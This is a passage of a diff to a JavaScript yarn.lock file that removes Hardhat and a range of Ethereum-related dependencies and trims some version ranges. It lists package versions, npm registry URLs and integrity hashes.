sha512-INN26G3EW43adGKBNzYWOlI3+rlLnasXTwW79YNnUhXPDa+yHESgt639dJEs37gCjhkbNKcRRJnomXEuMFBXJg== - dependencies: - array-uniq "1.0.3" - eth-gas-reporter "^0.2.25" - sha1 "^1.1.1" - -hardhat@^2.9.2: - version "2.12.2" - resolved "https://registry.npmjs.org/hardhat/-/hardhat-2.12.2.tgz" - integrity sha512-f3ZhzXy1uyQv0UXnAQ8GCBOWjzv++WJNb7bnm10SsyC3dB7vlPpsMWBNhq7aoRxKrNhX9tCev81KFV3i5BTeMQ== - dependencies: - "@ethersproject/abi" "^5.1.2" - "@metamask/eth-sig-util" "^4.0.0" - "@nomicfoundation/ethereumjs-block" "^4.0.0" - "@nomicfoundation/ethereumjs-blockchain" "^6.0.0" - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-evm" "^1.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-statemanager" "^1.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-tx" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - "@nomicfoundation/ethereumjs-vm" "^6.0.0" - "@nomicfoundation/solidity-analyzer" "^0.1.0" - "@sentry/node" "^5.18.1" - "@types/bn.js" "^5.1.0" - "@types/lru-cache" "^5.1.0" - abort-controller "^3.0.0" - adm-zip "^0.4.16" - aggregate-error "^3.0.0" - ansi-escapes "^4.3.0" - chalk "^2.4.2" - chokidar "^3.4.0" - ci-info "^2.0.0" - debug "^4.1.1" - enquirer "^2.3.0" - env-paths "^2.2.0" - ethereum-cryptography "^1.0.3" - ethereumjs-abi "^0.6.8" - find-up "^2.1.0" - fp-ts "1.19.3" - fs-extra "^7.0.1" - glob "7.2.0" - immutable "^4.0.0-rc.12" - io-ts "1.10.4" - keccak "^3.0.2" - lodash "^4.17.11" - mnemonist "^0.38.0" - mocha "^10.0.0" - p-map "^4.0.0" - qs "^6.7.0" - raw-body "^2.4.1" - resolve "1.17.0" - semver "^6.3.0" - solc "0.7.3" - source-map-support "^0.5.13" - stacktrace-parser "^0.1.10" - tsort "0.0.1" - undici "^5.4.0" - uuid "^8.3.2" - ws "^7.4.6" - harmony-reflect@^1.4.6: version "1.6.2" resolved "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz" integrity sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g== -has-ansi@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz" - integrity sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg== - dependencies: - ansi-regex "^2.0.0" - has-bigints@^1.0.1, has-bigints@^1.0.2: version "1.0.2" resolved "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz" @@ -9297,7 +6949,7 @@ has-property-descriptors@^1.0.0: dependencies: get-intrinsic "^1.1.1" -has-symbols@^1.0.0, has-symbols@^1.0.1, has-symbols@^1.0.2, has-symbols@^1.0.3: +has-symbols@^1.0.1, has-symbols@^1.0.2, has-symbols@^1.0.3: version "1.0.3" resolved "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz" integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== @@ -9340,7 +6992,7 @@ has-values@^1.0.0: is-number "^3.0.0" kind-of "^4.0.0" -has@^1.0.0, has@^1.0.3, has@~1.0.3: +has@^1.0.0, has@^1.0.3: version "1.0.3" resolved "https://registry.npmjs.org/has/-/has-1.0.3.tgz" integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== @@ -9377,7 +7029,7 @@ hast-util-whitespace@^2.0.0: resolved "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-2.0.0.tgz" integrity sha512-Pkw+xBHuV6xFeJprJe2BBEoDV+AvQySaz3pPDRUs5PNZEMQjpXJJueqrpcHIXxnWTcAGi/UOCgVShlkY6kLoqg== -he@1.2.0, he@^1.2.0: +he@^1.2.0: version "1.2.0" resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz" integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== @@ -9390,11 +7042,6 @@ header-case@^1.0.0: no-case "^2.2.0" upper-case "^1.1.3" -heap@0.2.6: - version "0.2.6" - resolved "https://registry.npmjs.org/heap/-/heap-0.2.6.tgz" - integrity sha512-MzzWcnfB1e4EG2vHi3dXHoBupmuXNZzx6pY6HldVS55JKKBoq3xOyzfSaZRkJp37HIhEYC78knabHff3zc4dQQ== - hex-color-regex@^1.1.0: version "1.1.0" resolved "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz" @@ -9438,20 +7085,12 @@ hoist-non-react-statics@^3.0.0, hoist-non-react-statics@^3.3.0, hoist-non-react- dependencies: react-is "^16.7.0" -home-or-tmp@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz" - integrity sha512-ycURW7oUxE2sNiPVw1HVEFsW+ecOpJ5zaj7eC0RlwhibhRBod20muUN8qu/gzx956YrLolVvs1MTXwKgC2rVEg== - dependencies: - os-homedir "^1.0.0" - os-tmpdir "^1.0.1" - hoopy@^0.1.4: version "0.1.4" resolved "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz" integrity sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ== -hosted-git-info@^2.1.4, hosted-git-info@^2.6.0: +hosted-git-info@^2.1.4: version "2.8.9" resolved "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz" integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw== @@ -9559,16 +7198,6 @@ htmlparser2@^6.1.0: domutils "^2.5.2" entities "^2.0.0" -http-basic@^8.1.1: - version "8.1.3" - resolved "https://registry.npmjs.org/http-basic/-/http-basic-8.1.3.tgz" - integrity sha512-/EcDMwJZh3mABI2NhGfHOGOeOZITqfkEO4p/xK+l3NpyncIHUQBoMvCSF/b5GqvKtySC2srL/GGG3+EtlqlmCw== - dependencies: - caseless "^0.12.0" - concat-stream "^1.6.2" - http-response-object "^3.0.1" - parse-cache-control "^1.0.1" - http-cache-semantics@^4.0.0: version "4.1.0" resolved "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz" @@ -9638,13 +7267,6 @@ http-proxy@^1.17.0: follow-redirects "^1.0.0" requires-port "^1.0.0" -http-response-object@^3.0.1: - version "3.0.2" - resolved "https://registry.npmjs.org/http-response-object/-/http-response-object-3.0.2.tgz" - integrity sha512-bqX0XTF6fnXSQcEJ2Iuyr75yVakyjIDCqroJQ/aHfSdlM743Cwqoi2nDYMzLGWUcuTWGWy8AAvOKXTfiv6q9RA== - dependencies: - "@types/node" "^10.0.3" - http-signature@~1.2.0: version "1.2.0" resolved "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz" @@ -9700,13 +7322,6 @@ iconv-lite@0.4.24: dependencies: safer-buffer ">= 2.1.2 < 3" -iconv-lite@^0.6.2: - version "0.6.3" - resolved "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz" - integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw== - dependencies: - safer-buffer ">= 2.1.2 < 3.0.0" - icss-utils@^4.0.0, icss-utils@^4.1.1: version "4.1.1" resolved "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz" @@ -9748,26 +7363,11 @@ ignore@^5.1.4, ignore@^5.1.8, ignore@^5.2.0: resolved "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz" integrity sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ== -immediate@^3.2.3: - version "3.3.0" - resolved "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz" - integrity sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q== - -immediate@~3.2.3: - version "3.2.3" - resolved "https://registry.npmjs.org/immediate/-/immediate-3.2.3.tgz" - integrity sha512-RrGCXRm/fRVqMIhqXrGEX9rRADavPiDFSoMb/k64i9XMk8uH4r/Omi5Ctierj6XzNecwDbO4WuFbDD1zmpl3Tg== - immer@8.0.1: version "8.0.1" resolved "https://registry.npmjs.org/immer/-/immer-8.0.1.tgz" integrity sha512-aqXhGP7//Gui2+UrEtvxZxSquQVXTpZ7KDxfCcKAF3Vysvw0CViVaW9RZ1j1xlIYqaaaipBoqdqeibkc18PNvA== -immutable@^4.0.0-rc.12: - version "4.1.0" - resolved "https://registry.npmjs.org/immutable/-/immutable-4.1.0.tgz" - integrity sha512-oNkuqVTA8jqG1Q6c+UglTOD1xhC1BtjKI7XkCXRkZHrN5m18/XsnUp8Q89GkQO/z+0WjonSvl0FLhDYftp46nQ== - import-cwd@^2.0.0: version "2.1.0" resolved "https://registry.npmjs.org/import-cwd/-/import-cwd-2.1.0.tgz" @@ -9842,7 +7442,7 @@ inflight@^1.0.4: once "^1.3.0" wrappy "1" -inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3, inherits@~2.0.4: +inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3: version "2.0.4" resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz" integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== @@ -9884,25 +7484,11 @@ internal-slot@^1.0.3: has "^1.0.3" side-channel "^1.0.4" -invariant@^2.2.2: - version "2.2.4" - resolved "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz" - integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA== - dependencies: - loose-envify "^1.0.0" - invert-kv@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz" integrity sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ== -io-ts@1.10.4: - version "1.10.4" - resolved "https://registry.npmjs.org/io-ts/-/io-ts-1.10.4.tgz" - integrity sha512-b23PteSnYXSONJ6JQXRAlvJhuw8KOtkqa87W4wDtvMrud/DTJd5X+NpOOI+O/zZwVq6v0VLAaJ+1EDViKEuN9g== - dependencies: - fp-ts "^1.0.0" - ip-regex@^2.1.0: version "2.1.0" resolved "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz" @@ -9994,7 +7580,7 @@ is-buffer@^1.1.5: resolved "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz" integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w== -is-buffer@^2.0.0, is-buffer@^2.0.5, is-buffer@~2.0.3: +is-buffer@^2.0.0: version "2.0.5" resolved "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz" integrity sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ== @@ -10096,16 +7682,6 @@ is-extglob@^2.1.0, is-extglob@^2.1.1: resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz" integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== -is-finite@^1.0.0: - version "1.1.0" - resolved "https://registry.npmjs.org/is-finite/-/is-finite-1.1.0.tgz" - integrity sha512-cdyMtqX/BOqqNBBiKlIVkytNHm49MtMlYyn1zxzvJKWmFMlGzm+ry5BBfYyeY9YmNKbRSo/o7OX9w9ale0wg3w== - -is-fn@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/is-fn/-/is-fn-1.0.0.tgz" - integrity sha512-XoFPJQmsAShb3jEQRfzf2rqXavq7fIqF/jOekp308JlThqrODnMpweVSGilKTCXELfLhltGP2AGgbQGVP8F1dg== - is-fullwidth-code-point@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz" @@ -10229,11 +7805,6 @@ is-plain-obj@^1.0.0: resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz" integrity sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg== -is-plain-obj@^2.1.0: - version "2.1.0" - resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz" - integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== - is-plain-obj@^4.0.0: version "4.1.0" resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz" @@ -10251,7 +7822,7 @@ is-potential-custom-element-name@^1.0.1: resolved "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz" integrity sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ== -is-regex@^1.0.4, is-regex@^1.1.4, is-regex@~1.1.4: +is-regex@^1.0.4, is-regex@^1.1.4: version "1.1.4" resolved "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz" integrity sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg== @@ -10281,7 +7852,7 @@ is-shared-array-buffer@^1.0.2: dependencies: call-bind "^1.0.2" -is-stream@^1.0.1, is-stream@^1.1.0: +is-stream@^1.1.0: version "1.1.0" resolved "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz" integrity sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ== @@ -10321,11 +7892,6 @@ is-typedarray@^1.0.0, is-typedarray@~1.0.0: resolved "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz" integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA== -is-unicode-supported@^0.1.0: - version "0.1.0" - resolved "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz" - integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw== - is-upper-case@^1.1.0: version "1.1.2" resolved "https://registry.npmjs.org/is-upper-case/-/is-upper-case-1.1.2.tgz" @@ -10333,11 +7899,6 @@ is-upper-case@^1.1.0: dependencies: upper-case "^1.1.0" -is-url@^1.2.4: - version "1.2.4" - resolved "https://registry.npmjs.org/is-url/-/is-url-1.2.4.tgz" - integrity sha512-ITvGim8FhRiYe4IQ5uHSkj7pVaPDrCTkNd3yq3cV7iZAcJdHTUMPMEHcqSOy9xZ9qFenQCvi+2wjH9a1nXqHww== - is-utf8@^0.2.0: version "0.2.1" resolved "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz" @@ -10367,11 +7928,6 @@ is-wsl@^2.1.1, is-wsl@^2.2.0: dependencies: is-docker "^2.0.0" -isarray@0.0.1: - version "0.0.1" - resolved "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz" - integrity sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ== - isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz" @@ -10394,7 +7950,7 @@ isobject@^3.0.0, isobject@^3.0.1: resolved "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz" integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg== -isstream@0.1.x, isstream@~0.1.2: +isstream@~0.1.2: version "0.1.2" resolved "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz" integrity sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g== @@ -10895,11 +8451,6 @@ jest@26.6.0: import-local "^3.0.2" jest-cli "^26.6.0" -js-sha3@0.5.5: - version "0.5.5" - resolved "https://registry.npmjs.org/js-sha3/-/js-sha3-0.5.5.tgz" - integrity sha512-yLLwn44IVeunwjpDVTDZmQeVbB0h+dZpY2eO68B/Zik8hu6dH+rKeLxwua79GGIvW6xr8NBAcrtiUbYrTjEFTA== - js-sha3@0.5.7, js-sha3@^0.5.7: version "0.5.7" resolved "https://registry.npmjs.org/js-sha3/-/js-sha3-0.5.7.tgz" @@ -10915,26 +8466,6 @@ js-sha3@0.8.0, js-sha3@^0.8.0: resolved "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz" integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ== -js-tokens@^3.0.2: - version "3.0.2" - resolved "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz" - integrity sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg== - -js-yaml@3.13.1: - version "3.13.1" - resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz" - integrity sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw== - dependencies: - argparse "^1.0.7" - esprima "^4.0.0" - -js-yaml@4.1.0: - version "4.1.0" - resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz" - integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== - dependencies: - argparse "^2.0.1" - js-yaml@^3.13.1: version "3.14.1" resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz" @@ -10981,11 +8512,6 @@ jsdom@^16.4.0: ws "^7.4.6" xml-name-validator "^3.0.0" -jsesc@^1.3.0: - version "1.3.0" - resolved "https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz" - integrity sha512-Mke0DA0QjUWuJlhsE0ZPPhYiJkRap642SmI/4ztCFaUs6V2AiH1sfecc+57NgaryfAA2VR3v6O+CSjC1jZJKOA== - jsesc@^2.5.1: version "2.5.2" resolved "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz" @@ -11016,46 +8542,6 @@ json-parse-even-better-errors@^2.3.0: resolved "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz" integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w== -json-rpc-engine@^3.4.0, json-rpc-engine@^3.6.0: - version "3.8.0" - resolved "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-3.8.0.tgz" - integrity sha512-6QNcvm2gFuuK4TKU1uwfH0Qd/cOSb9c1lls0gbnIhciktIUQJwz6NQNAW4B1KiGPenv7IKu97V222Yo1bNhGuA== - dependencies: - async "^2.0.1" - babel-preset-env "^1.7.0" - babelify "^7.3.0" - json-rpc-error "^2.0.0" - promise-to-callback "^1.0.0" - safe-event-emitter "^1.0.1" - -json-rpc-engine@^5.3.0: - version "5.4.0" - resolved "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-5.4.0.tgz" - integrity sha512-rAffKbPoNDjuRnXkecTjnsE3xLLrb00rEkdgalINhaYVYIxDwWtvYBr9UFbhTvPB1B2qUOLoFd/cV6f4Q7mh7g== - dependencies: - eth-rpc-errors "^3.0.0" - safe-event-emitter "^1.0.1" - -json-rpc-engine@^6.1.0: - version "6.1.0" - resolved "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-6.1.0.tgz" - integrity sha512-NEdLrtrq1jUZyfjkr9OCz9EzCNhnRyWtt1PAnvnhwy6e8XETS0Dtc+ZNCO2gvuAoKsIn2+vCSowXTYE4CkgnAQ== - dependencies: - "@metamask/safe-event-emitter" "^2.0.0" - eth-rpc-errors "^4.0.2" - -json-rpc-error@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/json-rpc-error/-/json-rpc-error-2.0.0.tgz" - integrity sha512-EwUeWP+KgAZ/xqFpaP6YDAXMtCJi+o/QQpCQFIYyxr01AdADi2y413eM8hSqJcoQym9WMePAJWoaODEJufC4Ug== - dependencies: - inherits "^2.0.1" - -json-rpc-random-id@^1.0.0, json-rpc-random-id@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/json-rpc-random-id/-/json-rpc-random-id-1.0.1.tgz" - integrity sha512-RJ9YYNCkhVDBuP4zN5BBtYAzEl03yq/jIIsyif0JY9qyJuQQZNeDK7anAPKKlyEtLSj2s8h6hNh2F8zO5q7ScA== - json-schema-traverse@^0.4.1: version "0.4.1" resolved "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz" @@ -11076,23 +8562,11 @@ json-stable-stringify-without-jsonify@^1.0.1: resolved "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz" integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw== -json-stable-stringify@^1.0.1: - version "1.0.2" - resolved "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.2.tgz" - integrity sha512-eunSSaEnxV12z+Z73y/j5N37/In40GK4GmsSy+tEHJMxknvqnA7/djeYtAgW0GsWHUfg+847WJjKaEylk2y09g== - dependencies: - jsonify "^0.0.1" - json-stringify-safe@~5.0.1: version "5.0.1" resolved "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz" integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA== -json5@^0.5.1: - version "0.5.1" - resolved "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz" - integrity sha512-4xrs1aW+6N5DalkqSVA8fxh458CXvR99WU8WLKmq4v8eWAL86Xo3BVqyd3SkA9wEVjCMqyvvRRkshAdOnBp5rw== - json5@^1.0.1: version "1.0.1" resolved "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz" @@ -11128,11 +8602,6 @@ jsonfile@^6.0.1: optionalDependencies: graceful-fs "^4.1.6" -jsonify@^0.0.1: - version "0.0.1" - resolved "https://registry.npmjs.org/jsonify/-/jsonify-0.0.1.tgz" - integrity sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg== - jsprim@^1.2.2: version "1.4.2" resolved "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz" @@ -11151,15 +8620,7 @@ jsprim@^1.2.2: array-includes "^3.1.5" object.assign "^4.1.3" -keccak@3.0.1: - version "3.0.1" - resolved "https://registry.npmjs.org/keccak/-/keccak-3.0.1.tgz" - integrity sha512-epq90L9jlFWCW7+pQa6JOnKn2Xgl2mtI664seYR6MHskvI9agt7AnDqmAlp9TqU4/caMYbA08Hi5DMZAl5zdkA== - dependencies: - node-addon-api "^2.0.0" - node-gyp-build "^4.2.0" - -keccak@3.0.2, keccak@^3.0.0, keccak@^3.0.2: +keccak@^3.0.0: version "3.0.2" resolved "https://registry.npmjs.org/keccak/-/keccak-3.0.2.tgz" integrity sha512-PyKKjkH53wDMLGrvmRGSNWgmSxZOUqbnXwKL9tmgbFYA1iAYqW21kfR7mZXV0MlESiefxQQE9X9fTa3X+2MPDQ== @@ -11211,13 +8672,6 @@ kind-of@^6.0.0, kind-of@^6.0.2: resolved "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz" integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw== -klaw-sync@^6.0.0: - version "6.0.0" - resolved "https://registry.npmjs.org/klaw-sync/-/klaw-sync-6.0.0.tgz" - integrity sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ== - dependencies: - graceful-fs "^4.1.11" - klaw@^1.0.0: version "1.3.1" resolved "https://registry.npmjs.org/klaw/-/klaw-1.3.1.tgz" @@ -11267,167 +8721,6 @@ lcid@^1.0.0: dependencies: invert-kv "^1.0.0" -level-codec@^9.0.0: - version "9.0.2" - resolved "https://registry.npmjs.org/level-codec/-/level-codec-9.0.2.tgz" - integrity sha512-UyIwNb1lJBChJnGfjmO0OR+ezh2iVu1Kas3nvBS/BzGnx79dv6g7unpKIDNPMhfdTEGoc7mC8uAu51XEtX+FHQ== - dependencies: - buffer "^5.6.0" - -level-codec@~7.0.0: - version "7.0.1" - resolved "https://registry.npmjs.org/level-codec/-/level-codec-7.0.1.tgz" - integrity sha512-Ua/R9B9r3RasXdRmOtd+t9TCOEIIlts+TN/7XTT2unhDaL6sJn83S3rUyljbr6lVtw49N3/yA0HHjpV6Kzb2aQ== - -level-errors@^1.0.3: - version "1.1.2" - resolved "https://registry.npmjs.org/level-errors/-/level-errors-1.1.2.tgz" - integrity sha512-Sw/IJwWbPKF5Ai4Wz60B52yj0zYeqzObLh8k1Tk88jVmD51cJSKWSYpRyhVIvFzZdvsPqlH5wfhp/yxdsaQH4w== - dependencies: - errno "~0.1.1" - -level-errors@^2.0.0, level-errors@~2.0.0: - version "2.0.1" - resolved "https://registry.npmjs.org/level-errors/-/level-errors-2.0.1.tgz" - integrity sha512-UVprBJXite4gPS+3VznfgDSU8PTRuVX0NXwoWW50KLxd2yw4Y1t2JUR5In1itQnudZqRMT9DlAM3Q//9NCjCFw== - dependencies: - errno "~0.1.1" - -level-errors@~1.0.3: - version "1.0.5" - resolved "https://registry.npmjs.org/level-errors/-/level-errors-1.0.5.tgz" - integrity sha512-/cLUpQduF6bNrWuAC4pwtUKA5t669pCsCi2XbmojG2tFeOr9j6ShtdDCtFFQO1DRt+EVZhx9gPzP9G2bUaG4ig== - dependencies: - errno "~0.1.1" - -level-iterator-stream@^2.0.3: - version "2.0.3" - resolved "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-2.0.3.tgz" - integrity sha512-I6Heg70nfF+e5Y3/qfthJFexhRw/Gi3bIymCoXAlijZdAcLaPuWSJs3KXyTYf23ID6g0o2QF62Yh+grOXY3Rig== - dependencies: - inherits "^2.0.1" - readable-stream "^2.0.5" - xtend "^4.0.0" - -level-iterator-stream@~1.3.0: - version "1.3.1" - resolved "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-1.3.1.tgz" - integrity sha512-1qua0RHNtr4nrZBgYlpV0qHHeHpcRRWTxEZJ8xsemoHAXNL5tbooh4tPEEqIqsbWCAJBmUmkwYK/sW5OrFjWWw== - dependencies: - inherits "^2.0.1" - level-errors "^1.0.3" - readable-stream "^1.0.33" - xtend "^4.0.0" - -level-iterator-stream@~3.0.0: - version "3.0.1" - resolved 